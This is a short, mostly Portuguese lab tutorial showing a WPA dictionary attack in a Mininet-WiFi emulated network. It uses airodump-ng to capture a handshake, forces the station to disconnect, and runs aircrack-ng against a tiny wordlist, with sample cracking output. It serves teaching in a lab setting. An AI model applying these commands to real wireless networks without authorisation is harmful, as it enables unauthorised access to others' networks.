---
tags: security-tutorials
---
# Dictionary attack
:::info
**In this short demo you will:**
- How to perform a dictionary attack
**Requirements:**
- Mininet-WiFi - https://github.com/intrig-unicamp/mininet-wifi
- airodump-ng
:::
Primeiro, execute uma topologia simples com o comando abaixo:
```
~/mininet-wifi$ sudo python examples/authentication.py
```
Para realizar este experimento, vamos inicialmente criar uma interface do tipo monitor chamada `mon0` a partir da estação **sta1**.
Para criar uma interface do tipo monitor:
```
mininet-wifi> sta1 iw dev sta1-wlan0 interface add mon0 type monitor
```
Então, vamos utilizar o **airodump-ng** para capturar beacons na interface recém-criada:
```
mininet-wifi> sta1 ifconfig mon0 up
mininet-wifi> sta1 airodump-ng mon0
```
:::warning
Se o airodump-ng não estiver instalado, instale-o com **sudo apt install aircrack-ng.**
:::
Identifique o endereço MAC da estação na coluna station.
**Dica**: Identifique o BSSID do AP ao qual a estação está conectada. O SSID pode servir de apoio.
Então, rode novamente o **airodump-ng** com os parâmetros abaixo:
```
mininet-wifi> xterm sta1
sta1-term# airodump-ng --bssid 02:00:00:00:02:00 mon0 -w minha-captura
```
Em seguida, force a desconexão de **sta1**
```
mininet-wifi> sta1 iw dev sta1-wlan0 disconnet
```
Agora, crie um arquivo chamado arquivo.psk contendo o seguinte conteúdo:
```
123456789a
abcdefgh
0011223344
```
Em seguida, rode o comando abaixo:
```
mininet-wifi> sta1 aircrack-ng -w arquivo.psk -b 02:00:00:00:02:00 minha-captura-01.cap
```
E voi-lá! Senha descoberta!
```
Aircrack-ng 1.6
[00:00:00] 3/3 keys tested (63.70 k/s)
Time left: --
KEY FOUND! [ 123456789a ]
Master Key : E0 3D DC 8E 51 FB 0A 35 A6 EE 6D DF 9B 6B 69 EB
E8 C0 7B D2 50 95 63 A7 26 43 DD B2 0F 46 E6 21
Transient Key : 55 6C 6D AA 5D B2 DC E6 C3 FB 38 59 C8 B4 5D B3
1E 3B AB 48 81 8E 94 AB 50 94 9E 25 61 8D D4 F0
B9 1E 4F 3C 9C 84 48 3D 8B 09 86 1D 98 31 23 57
4B 03 8F B4 86 8F 8D A4 59 CD 30 2D 71 D7 AF 18
EAPOL HMAC : C1 3D 58 9D 02 CB 03 4A FC 3D 44 96 FF 2D 5D 79
```